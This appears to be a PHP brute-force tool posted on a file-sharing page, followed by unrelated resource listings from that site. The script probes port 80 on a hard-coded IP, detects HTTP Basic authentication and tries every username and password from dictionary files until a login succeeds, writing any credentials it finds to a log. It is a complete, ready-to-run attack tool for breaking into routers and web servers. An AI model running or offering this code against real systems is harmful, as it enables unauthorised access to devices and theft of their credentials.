<?php
//Author:ClsHack.it
//Site:www.clshack.it :D
set_time_limit (0);
define("DICTIONARY_PASSWORD","/home/clshack/pass.txt");
define("DICTIONARY_USERS","/home/clshack/users.txt");
define ("RESULT","result.log");
define ("PORT",80);
define ("TIMEOUT",0.6);
//output
function write($string)
{
$fh = fopen(RESULT, 'a') or die("Can't open file:".RESULT."\n\nControl file permission.");
fwrite($fh, $string."\n");
fclose($fh);
}
//port is open ? o.O
function unreadable($ip)
{
$fp=@fsockopen($ip, PORT, $errno, $errstr, TIMEOUT);
//response ?
if($fp)
return 1;
//port close...
return 0;
}
//is http basic authentication ? o.O
function http_basic($ip)
{
$ip="http://".$ip;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$ip);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, TIMEOUT);
curl_exec($ch);
$info = curl_getinfo($ch);
curl_close ($ch);
if($info["http_code"]=="401")
return 1;
else if($info["http_code"]=="200")
{
echo "$ip Return code 200\n";
write("$ip Return code 200\n");
return 0;
}
else
return 0;
}
function authentication($ip,$user,$password)
{
$ip="http://".$ip;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$ip);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch,CURLOPT_USERPWD, "$user:$password");
curl_setopt($ch, CURLOPT_TIMEOUT, TIMEOUT);
curl_exec($ch);
$info =curl_getinfo($ch);
curl_close ($ch);
if($info["http_code"]=="200")
return 1;
else
return 0;
}
function crack($ip)
{
$esci=1;
$users_file = @fopen(DICTIONARY_USERS, "r");
if ($users_file)
{
while (!feof($users_file) && $esci)
{
$user = fgets($users_file);
$user=str_replace("\r","",$user);
$user=str_replace("\n","",$user);
$password_file = @fopen(DICTIONARY_PASSWORD, "r");
if ($password_file)
{
while (!feof($password_file))
{
$password = fgets($password_file);
$password=str_replace("\r","",$password);
$password=str_replace("\n","",$password);
//echo "->$user:$password, ip:$ip\n";
if(authentication($ip,$user,$password))
{
echo "Password found ->$user:$password, ip:$ip\n";
write("Password found ->$user:$password, ip:$ip\n");
$esci=0;
break;
}
}
fclose($password_file);
}
else
die("Can't open dictionary.\n");
}
}
else
die("Can't open dictionary.\n");
fclose($users_file);
}
$ip="192.168.1.1";
if(unreadable($ip))
{
if(http_basic($ip))
{
echo "$ip\n";
crack($ip);
}
}
?>
alvarocfc
- 粉丝: 135
- 资源: 1万+
最新资源
- 麻雀优化算法SSA优化BP做多特征输入单个因变量输出的分类模型 程序内注释详细直接替数据就可以用 想要的加好友我
- 麻雀优化算法SSA优化深度学习机DELM,建立多特征输入单个因变量输出的拟合预测模型 程序内注释详细直接替数据就可以用 程序语言为matlab
- mmexport1736592575149.jpg
- NFC线圈设计#HFSS分析设计13.56MHz RFID天线及其匹配电路 ①在HFSS中创建参数化的线圈天线模型...... ②使用HFSS分析查看天线在13.56GHz工作频率上的等效电感值、等生
- Hands-On-Machine-Learning-with-Scikit-Learn-and-TensorFlow-3rd-Edition
- 针对速度环的滑模控制器永磁同步电机矢量控制仿真模型,PMSM滑模速度控制器算法,使用matlab simulink搭建,以供参考学习
- Video-2024-09-28下午-聊天1.0案例基础引导逻辑.wmv
- A星路径规划算法,Matlab实现A星算法,可自己改变地图和障碍物,自定义起点坐标和终点坐标
- 基于核极限学习机KELM、在线顺序极限学习机OS-ELM、在线贯序核极限学习机OSKELM、遗忘因子的在线贯列核极限学习F-OSKELM和自适应遗忘因子的在线贯列核极限学习AF-OSKELM数据预测
- 考虑 化成本的混合储能微电网双层能量管理系统(复现) 本文的主要贡献如下:1)提出了一种新型的包含混合ESS的两层微电网EMS 电力调度的目标是上层的运行成本最小,下层的预测不确定性和电力波动最小
- bms电池管理系统 锂电池算法SOC代码 获取锂电池SOC采用的是电流积分法,电化学阻抗法 电流积分法又称为安时积分法或库伦计数,通过将电池电流对时间进行积分来计算电池的荷电状态 这种方法对于计算
- 基于SSM的“软件缺陷管理系统”的设计与实现(源码+数据库+文档+PPT).zip
- 西门子S7-1200PLC双轴定位算法电池焊接控制博图程序案例,触摸屏画面采用威纶触摸屏 程序设计结构灵活,采用SCL语言+梯形图结构,项目包括: 1.博图V15PLC程序 2.威纶通触摸屏程序
- 基于遗传算法的微电网储能配置方法 搭建以储能配置综合成本最低和供电可靠性最高为目标函数,并考虑DG电源约束、储能充放电约束和负荷平衡约束的多目标优化模型 在传统建立成本目标函数时只考虑单一投资成本的
- 基于matlab的二维小波相干分析,以空气质量数据为例 进行二维小波相干分析
- 基于simulink直流无刷电机仿真模型 速度电流闭环PID反馈控制 另外还有一个三相电机模型(图4)模型良好,调试完美 如图
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈